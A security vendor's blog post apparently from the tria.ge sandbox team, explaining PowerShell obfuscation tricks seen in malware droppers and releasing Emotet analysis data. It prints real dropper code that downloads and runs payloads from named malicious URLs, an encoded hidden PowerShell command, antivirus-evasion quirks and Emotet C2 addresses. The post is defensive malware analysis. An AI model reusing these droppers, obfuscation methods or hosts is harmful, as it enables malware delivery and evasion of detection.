Hatching logo

Powershell Static Analysis & Emotet results

  • 2020-01-07
  • Team

Warning: this blogpost contains malicious URLs, don't open 'em.

Note: Scroll down if you're only interested in the Emotet results.

Powershell twirks

Due to a high number of Powershell droppers in our public cloud we've implemented an engine for Powershell that translates Powershell into an AST, deobfuscates it, and runs various high-level static analysis algorithms on the deobfuscated AST. For specific use-cases a limited Powershell emulator has also been implemented.

With that out of the way we wanted to share some """InTErEstInG""" features of the Powershell language (naturally accompanied with various obfuscation techniques) and provide results and statistics from Powershell-related samples submitted to tria.ge.

We're going to start out with the simplest version to download a file in Powershell. Almost all Powershell droppers use this technique (or the DownloadString version that fetches the URL in-memory) to obtain the real payload from a URL that's often only online for a very limited period of time.

 (new-object net.webclient).downloadfile('hxxp://www.kuaishounew.com/wget.exe','wget.exe');

Keeping that in mind, most simple Powershell droppers are structured as follows; determine some payload filename, set up one or more URLs, iterate through each URL and try to download it, and if successful (the file size is more than a couple of kilobytes), then execute it as a new process.

$path = "...";
$web = New-Object net.webclient;
$urls = "url1,url2,url3,url4,url5".split(",");
foreach ($url in $urls) {
    try {
        $web.DownloadFile($url, $path);
        if ((Get-Item $path).Length -ge 30000) {
            [Diagnostics.Process]::Start($path);
            break;
        }
    }
    catch{}
}

Powershell being a dynamic scripting language and all that, it's possible to do things in multiple ways. For example, calling the New-Object cmdlet can also be expressed with its string obfuscated through the dot expression.

.('new-'+'o'+'bjec'+'t') NET.weBCLIENt

Or through the similar amp expression. Naturally, Powershell allowing escape sequences, there can be backticks in the identifier.

&('ne'+'w-'+'o'+'bject') nET.wE`BCLieNT

Or at the beginning of an identifier.

New-Object nET.`wE`BCLieNT

Or at the end of an identifier.

.('new-obje'+'c'+'t') net`.WebClIe`Nt

In order to make Powershell a truly dynamic language, it shall be possible to use a string as method/field identifier (this calls DownloadFile on the net.webclient object). This string identifier may also contain backticks.

$Glmodecoxsyda."dO`WnlO`ADfILE"($Muyiwcipde, $Waazouqp);

There are many ways to obfuscate a string or an array. Most of the time the split method is called on a string to obtain an array of URLs.

$VlR='hxxp://kulikovonn.ru/l5vT7q19U@hxxp://optics-line.com/vUUp9ygDE@hxxp://lonestarcustompainting.com/BLC3RY4O@hxxp://montegrappa.com.pa/OkyoMANm@hxxp://kristianmarlow.com/mhFm2oA4Q'.Split('@');
PS C:\Users\Administrator> $VlR
hxxp://kulikovonn[.]ru/l5vT7q19U
hxxp://optics-line[.]com/vUUp9ygDE
hxxp://lonestarcustompainting[.]com/BLC3RY4O
hxxp://montegrappa[.]com[.]pa/OkyoMANm
hxxp://kristianmarlow[.]com/mhFm2oA4Q

There's also a string formatting operator for "smart" concatenation operations, in this case resulting in the string "hello".

PS C:\Users\Administrator> "{1}{0}"-f("{1}{0}"-f'o','ll'),'he'
hello

In practice this may look as follows.

$QxB__QxB=("{43}{19}{27}{11}{38}{23}{26}{34}{33}{25}{21}{3}{6}{32}{10}{14}{17}{45}{40}{9}{31}{13}{24}{2}{44}{41}{28}{12}{8}{29}{47}{22}{39}{48}{7}{36}{49}{37}{18}{35}{20}{4}{42}{0}{1}{5}{30}{16}{46}{15}"-f ("{0}{4}{1}{2}{3}" -f ("{1}{2}{0}{3}"-f'drago',':','//','n'), 'a','n','g.','f'), ("{1}{0}{2}" -f'a',("{1}{0}" -f'm/n','co'),'v'),'c','u', ("{2}{0}{1}"-f 'n4/','@ht','j'),'/d','zx.', ("{1}{2}{5}{3}{0}{4}"-f("{1}{0}"-f':/','http'),'h/S','k',("{0}{1}" -f 'E','A/@'),'/di','hH'),'/w','htt','/',("{0}{1}" -f'con','t'), 'm','pro','wp','/','fe','-i',("{0}{1}"-f ("{1}{0}" -f 'com','lat.'),'/'),("{1}{0}" -f("{0}{1}"-f'tp',':/'),'t'),'O',("{0}{1}" -f 'c',("{0}{1}" -f'hun','b')),'em',("{0}{1}"-f ("{1}{0}" -f'S8','2t'),'A'), ("{1}{0}"-f'ha','fit'),("{1}{0}" -f'ww.','/w'),'/@',("{1}{4}{3}{0}{2}" -f ("{1}{0}"-f't.','sa'),'/ww',("{0}{1}{2}"-f 'co','m/','wp-'), 'att','w.l'),'co','p-c','w',("{1}{0}" -f'//','ps:'),'com','/', ("{1}{0}"-f'ps:','htt'),("{0}{1}"-f 'fl','v/'),'ego','b',("{1}{0}" -f 't/','en'),("{0}{1}"-f ("{1}{0}" -f 'k','es/s'),'et'), ("{0}{1}{2}" -f ("{1}{0}" -f'/','des'),'I2','/@'),'.','tp','h','k',("{1}{0}" -f 'clu','n'),'O',("{2}{0}{1}"-f("{0}{1}" -f'ten','t'),'/th', 'on'),'c',("{0}{1}" -f 'gr','im'))."spl`It"('@')
PS C:\Users\Administrator> $QxB__QxB
hxxp://www[.]lattsat[.]com/wp-content/2tS8A/
hxxps://www[.]chunbuzx[.]com/wp-includes/I2/
hxxps://profithack[.]com/wp-content/themes/sketch/SkhHEA/
hxxp://diegogrimblat[.]com/flv/Ojn4/
hxxp://dragonfang[.]com/nav/dwfeO/

Clearly building upon earlier constructs, the "split" method identifier may also be obfuscated with string concatenation. To make matters more interesting, object methods have methods of their own, in this case Invoke to execute the method with the arguments provided to the Invoke method.

("<urlshere>").("{0}{1}"-f'Spl','it').Invoke('@')

Also note that it's possible to do Powershell programming without the space bar as most operators can be put right behind each other without whitespaces in-between.

PS C:\Users\Administrator> 5 -band 3
1
PS C:\Users\Administrator> 5-band3
1
PS C:\Users\Administrator> "1","3"-join"2"
123

The -split operator is interesting, because the assumption is that it would return a list of strings, which it probably does. But then if you have multiple -split operators following one another, you appear to get a flat list too, so probably -split can work on both strings and arrays. Note that the string separator may also be an integer, internally probably casted to be a string.

PS C:\Users\Administrator> "he4llo0w1rld" -split "4" -split 0 -split "1"
he
llo
w
rld

Like most scripting languages, it's possible to execute arbitrary Powershell code at runtime (like eval() in Javascript). This is the Invoke-Expression cmdlet or iex short and looks as follows.

PS C:\Users\Administrator> iex 'write-host 1'
1

Since Powershell can handle command-line invocations, it also has a built-in pipe operator.

PS C:\Users\Administrator> 'write-host 1'|iex
1

To avoid specifically mentioning the iex string, many droppers use global Powershell variables to construct the string at runtime paired with the dot and amp expressions. One may find the $ENV variable to be interesting too or at least how it's pretty much the only thing that's indexed with a colon identifier (:comspec, with COMSPEC being a Windows environment variable). Each of the following expressions are equivalent to just writing out Invoke-Expression directly.

&( $VERBOSePREFerence.TOSTRinG()[1,3]+'x'-JOiN'')

& ( $SheLLId[1]+$shEllId[13]+'x')

&( $EnV:cOmSpEc[4,15,25]-JOIN'')

Additionally, yes, there's also a Set-Alias cmdlet (or sal short) that's capable of essentially symlinking a method or cmdlet to another name in Powershell.

PS C:\Users\Administrator> sal ping iex;ping("write-host 1")
1

With the knowledge from all the above, we can now move into deobfuscating the first layer of the following Powershell dropper. It first removes garbage characters through the -split operator and then iterates over each character using the foreach-object cmdlet and -bxor operator, that performs a binary xor operation, to get the deobfuscated string.

Interestingly, both operands to the -bxor operator are integer strings, one regular number (base10) and one hexadecimal number (base16). Snippet somewhat shortened for improved visibility.

 iNVoKE-expREsSIOn( [sTRIng]::joIn('', ('16,102e94&92D9&90,81~67O25D91O86D94&81,87e64{20-122O81{64e26{99~81s86s119D88~93~81e90&64e15D16&109O89s123e9R19~92O64O64{68,14~27~27O67{67{67~26&94-76-68-70D93O90{64R26&70e65&27D64{85,80~5~97D7D126e85e89~6,27'-sPLiT 'd' -sPlIt '~' -SPlIt ','-sPlIt'S'-SpLIt '-'-sPlIT '&' -Split 'e' -sPLIT '{' -SpLIt'O'-SpliT 'r' | fOREAcH-ObjEct{[cHaR] ($_ -BXOr "0x34") })))

(This calls Invoke-Expression with the following string, shortened for visibility).

$Rjh=new-object Net.WebClient;$YmO='http://www[.]jxprint[.]ru/tad1U3Jam2/...

The next step in obfuscation includes adding a base64 blob that's executed (snippet shortened) using [System.Convert]::FromBase64String(...).

 invoke-expression([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('JHBhdGggPSAkZW52OlRFTVAgKyAnXEFueSBOYW1lLmV4ZSc7IChOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50KS5Eb3dubG9hZEZpbGUoJ2h0dHA6Ly9oYnNl')))

(This calls Invoke-Expression with the following string, shortened for visibility).

$path = $env:TEMP + '\Any Name.exe'; (New-Object System.Net.WebClient).DownloadFile('http://hbse...

And if that's not enough, one can always spice it up with a deflate/zlib stream (snippet shortened) using New-Object System.IO.Compression.DeflateStream(...).

 &( $VERBOSePREFerence.TOSTRinG()[1,3]+'x'-JOiN'') (New-OBjeCt  Io.StrEaMrEADeR( ( New-OBjeCt  sYStEm.iO.compResSioN.DeFLaTeSTREAM([iO.mEmoRySTream] [sysTEM.ConVert]::frOMBASE64STrING( ('V'+'dHR'+'at'+'swFA'+'bgV9G'+'F'+'QQl'+'Z7H'+'Z4'+'g9YYK'+'lfUZGxrvRBqQi'+'H'+'I'+'6r'+'GtSpaMrdou'+'I'+'e8'+'...') ),[SYstEm.IO.ComPresSIOn.COmpRESSionModE]::DECOmPreSs)), [sySTeM.TExt.encOdiNG]::Ascii) ).ReadToeNd( )

But what if we obfuscate the Set-Alias parameter? This example casts an array of integers to an array of characters and then to a string (the string "ieX"). The Set-Alias command then aliases the sy identifier to the "ieX", which is equivalent to iex and thus Invoke-Expression.

 $qG=[string][char[]]@(0x69,0x65,0x58) -replace ' ','';sal sy $qG;$Wg=((New-Object Net.WebClient)).DownloadString('hxxp://windowsdressedup.com/admincontrol/out-75927603.ps1');sy $Wg

Next to the foreach-object { ... } construct, there's also the shorter % { ... } construct, both working with the pipe operator, accepting an item or an array of items. The following results in hello.

((104, 101, 108, 108, 111) | %{([char] [int] $_)})-jOIN''

Fun fact: if you replace [char] [int] in the snippet above with [ChAR] [iNt] (as was the case in the sample where this example originated from), then Powershell on Windows 10 may avoid running it and throw the This script contains malicious content and has been blocked by your antivirus software. error. This is what we call the Spongebob filter :-)


Now that you've seen almost everything, we're introducing the foreach language construct as obfuscated string. One might expect this to be a language keyword / statement, but well, here goes. This also results in hello.

((104, 101, 108, 108, 111) | .('for'+'E'+'ach') { ([char][int]$_)})-jOIN''

In case you're not convinced by the power of Powershell yet, Powershell has a concept of generic strings that essentially represent plaintext code that can't possibly be correct Powershell code. In other words, it's possible to write down URLs without quotes as one would normally define one or more strings. Not unsurprisingly the comma is actually interpreted correctly and the below -Source parameter of Start-BitsTransfer results in an array of 3 URLs.

 Import-Module BitsTransfer; Start-BitsTransfer -Source hxxps://raw.githubusercontent.com/jocofid282/tewsa/master/blow.exe,hxxps://raw.githubusercontent.com/jocofid282/tewsa/master/dera,hxxps://raw.githubusercontent.com/jocofid282/tewsa/master/JvlpB.exe -Destination "$env:TEMP\blow.exe","$env:TEMP\dera","$env:TEMP\JvlpB.exe"

Fortunately for us, the .NET engine also knows the concept of Secure Strings. Since some of our samples in production decrypt "secure strings" and then execute the plaintext code resulting from it, we have implemented this behavior too.

While we were initially startled by the fact that the SecureString took around a 10x increase in size when compared to the plaintext string, this fact is quickly explained by the decryption process. The SecureString is essentially a hex encoded AES CBC encrypted UTF16 encoded string. This string is then joined with the SecureString version number and the Initialization Vector (which itself is base64 encoded), UTF16 encoded, base64 encoded, and finally a magic header is slapped onto it. The following image regarding the decryption process better explains the logic:

/static/images/blog/ps1/encrypt-flow.svg

In terms of Powershell fun & quirks this is it for today, although there's plenty more to talk about.. wildcards, reflection, powershell executing x86 shellcode, etc.

Emotet results in production

We've had quite some people submit Powershell-based payloads to our public cloud, partially due to our Emotet configuration extractor, but also due to numerous other malware samples that are being uploaded on a daily basis.

Furthermore, we implemented a Powershell static analysis library capable of handling the above Powershell quirks and around 99% of the Powershell payloads that we've seen in our production environment at tria.ge. Combining these two facts, we arrived at the following conclusion:

Giving back to the community, we're releasing polished sandbox results on more than 50,000 unique malware samples that we believe to be Emotet-related.

The data can be found here.

An example entry of polished analysis with all artifacts available (with sha256 and sha512 hashes removed for visibility):

{
    "family": "emotet",
    "taskid": "200101-1s48ckzwxj",
    "archive": {
        "md5": "40cb422a49bfa7ae143156f73dba4149",
        "sha1": "6d97ee9291d0b9ad64e2c8da30c945dfa706809d",
    },
    "document": {
        "md5": "c2f04f8e408daf34a47cce39d492902e",
        "sha1": "70ed95f2bba918fc1833f4eafa0f780cdcfa4711",
    },
    "dropper": {
        "cmdline": "Powershell -w hidden -en JABGAG4AZwBpAGEAdQB1AGoAeABrAHQAPQAnAFcAagBvAHgAdQB3AHkAdwB2ACcAOwAkAFYAdQBpAHYAZgBkAHEAaAAgAD0AIAAnADgANAA0ACcAOwAkAEMAcABsAHIAbQBhAGkAbABuAD0AJwBIAHMAbgBuAHYAdwBrAGQAawBiAHEAbABtACcAOwAkAEkAYgB2AGsAbwBhAG8AaABwAGYAaQA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQAVgB1AGkAdgBmAGQAcQBoACsAJwAuAGUAeABlACcAOwAkAFcAawB4AHMAawByAHgAYQB4AD0AJwBSAGsAagBrAGgAcQBoAGwAZwAnADsAJABOAHgAYgBhAHAAaQBiAHkAbQBrAHEAPQAuACgAJwBuAGUAdwAnACsAJwAtAG8AJwArACcAYgBqAGUAJwArACcAYwB0ACcAKQAgAG4AZQB0AC4AVwBlAGIAYwBMAEkARQBOAHQAOwAkAFQAbQB5AHMAYgBnAG4AYgBqAGIAZwByAHQAPQAnAGgAdAB0AHAAOgAvAC8AbQBhAGMAbwBtAHAALgBjAG8ALgBpAGwALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AZAA3ADgAaQAzAGoALQBwAGsAeAA2AGwAZQBnAGcANQAtADkAMgA5ADkANgAzADMAOAAvACoAaAB0AHQAcAA6AC8ALwBuAGEAeQBtAG8AdgAuAGMAbwBtAC8AdQBjAGgAZQBiAGEALwBrAHYAbAAwAHYAcwBzAC0AcQByAGUAeAA0AC0ANQAwADEANgAyADUAOQA2ADQALwAqAGgAdAB0AHAAOgAvAC8AbgBlAG8AdgBpAHQAYQAuAGMAbwBtAC8AaQB3AGEAMgAxAC8AWgB2AGYAQwBsAEUALwAqAGgAdAB0AHAAOgAvAC8AbgBmAHMAYwBvAG4AcwB1AGwAdABpAG4AZwAuAHAAdAAvAGMAZwBpAC0AYgBpAG4ALwBZAHkAbAB4AFAARgAvACoAaAB0AHQAcAA6AC8ALwBuAGkAdABlAGMAaAAuAG0AdQAvAG0AbwBkAHUAbABlAHMALwBUAFkASgB3AGIATwBrAG0ALwAnAC4AIgBzAFAAbABgAEkAdAAiACgAJwAqACcAKQA7ACQASgBkAGEAawBzAHkAZwBtAGQAPQAnAEgAZQB5AG8AdgBlAGYAawAnADsAZgBvAHIAZQBhAGMAaAAoACQASQBlAG8AYgBkAGoAbQBkAHgAeQBoAHgAcAAgAGkAbgAgACQAVABtAHkAcwBiAGcAbgBiAGoAYgBnAHIAdAApAHsAdAByAHkAewAkAE4AeABiAGEAcABpAGIAeQBtAGsAcQAuACIAZABPAFcAbgBsAG8AQQBgAEQAZgBpAGAATABlACIAKAAkAEkAZQBvAGIAZABqAG0AZAB4AHkAaAB4AHAALAAgACQASQBiAHYAawBvAGEAbwBoAHAAZgBpACkAOwAkAEgAbgBlAGEAdAB6AHQAegBlAGEAawA9ACcAQQB1AHIAegB5AHoAdABrAGMAagBxACcAOwBJAGYAIAAoACgALgAoACcARwAnACsAJwBlAHQAJwArACcALQBJAHQAZQBtACcAKQAgACQASQBiAHYAawBvAGEAbwBoAHAAZgBpACkALgAiAGwAZQBuAGAAZwB0AGgAIgAgAC0AZwBlACAAMgAyADYAMwAyACkAIAB7AFsARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBdADoAOgAiAFMAYABUAEEAcgBUACIAKAAkAEkAYgB2AGsAbwBhAG8AaABwAGYAaQApADsAJABUAHYAYwBnAHcAbgBxAGMAcAB2AD0AJwBZAG0AbgB5AHkAcABnAG8AeAB1AGQAZgBoACcAOwBiAHIAZQBhAGsAOwAkAEYAZgBlAG8AdwBvAG4AYQBlAGIAdQBvAG4APQAnAEUAdwBwAHoAYQBnAHgAZABrAGEAdwBxAG8AJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAWAB6AGwAbwBsAHgAawBoAG4AawBsAGwAPQAnAEQAYgB0AG8AeQBwAGgAcABoAGsAcgBoAGIAJwA=",
        "urls": [
            "http://macomp.co.il/wp-content/d78i3j-pkx6legg5-92996338/",
            "http://naymov.com/ucheba/kvl0vss-qrex4-501625964/",
            "http://neovita.com/iwa21/ZvfClE/",
            "http://nfsconsulting.pt/cgi-bin/YylxPF/",
            "http://nitech.mu/modules/TYJwbOkm/"
        ]
    },
    "payload": {
        "filepath": "C:\\Users\\Admin\\844.exe",
        "md5": "8565d2e08b151eac88953b4f244502fd",
        "sha1": "a6102580563981dd6a3d399ea524248d716d2022",
    },
    "emotet": {
        "pubkey": "-----BEGIN PUBLIC KEY-----\nMHwwDQYJKoZIhvcNAQEBBQADawAwaAJhAMqZMACZDzcRXuSnj2OI8LeIYKrbUIXL\nfaUgIJPwYd305HnaBS2AfA0R+oPxT32r+3BbayI3KguqAn3E+rbwtLhqhOXOlTnY\n7yvG4ufmwCCkRzc6Sq8baToxmd6y523AIQIDAQAB\n-----END PUBLIC KEY-----\n",
        "c2": [
            "85.100.122.211:80",
            "78.189.165.52:8080",
            "88.248.140.80:80",
            "45.79.75.232:8080",
            "124.150.175.133:80",
            ... snip ...
        ]
    }
}

Some more information on the data file:

  • Each line contains one JSON blob detailing one Emotet analysis.
  • The taskid field links to the task ID on tria.ge, our cloud sandbox. E.g., the first entry (200101-1dghyjegsn) equals the analysis at 200101-1dghyjegsn.
  • The archive hashes, if present, contain the hashes of the archive that was submitted to Triage. E.g., if the sample was delivered as Office document in a Zip file.
  • The document hashes contain the hashes of the Office dropper document or, if the Emotet payload was submitted directly, the Emotet payload.
  • The dropper entry, if present, contains information on the executed Powershell payload and the Dropper URLs that we extracted from this Powershell payload. One may find that many different Office documents execute the exact same Powershell payload, but that doesn't make the sample hashes irrelevant.
  • The payload hashes, if present, contain the hashes of the dropped Emotet payload.
  • The emotet entry, if present, contains the RSA Public Key as well as C2 information embedded in the Emotet payload.

Conclusion

We've implemented a Powershell deobfuscator and emulator that's capable of handling the vast majority of Powershell payloads that we see in our public cloud. As always, we will continue to improve our sandboxing tooling to improve handling specific use-cases and we're going to keep an eye on all newly submitted (Powershell and other) samples!

If any customers or (potential) users would like to use any of our static analysis capabilities standalone from the sandboxing side of things or if there are other requests related to our sandbox, please do reach out to us.

Happy hunting & analyzing and stay tuned for our upcoming blogposts!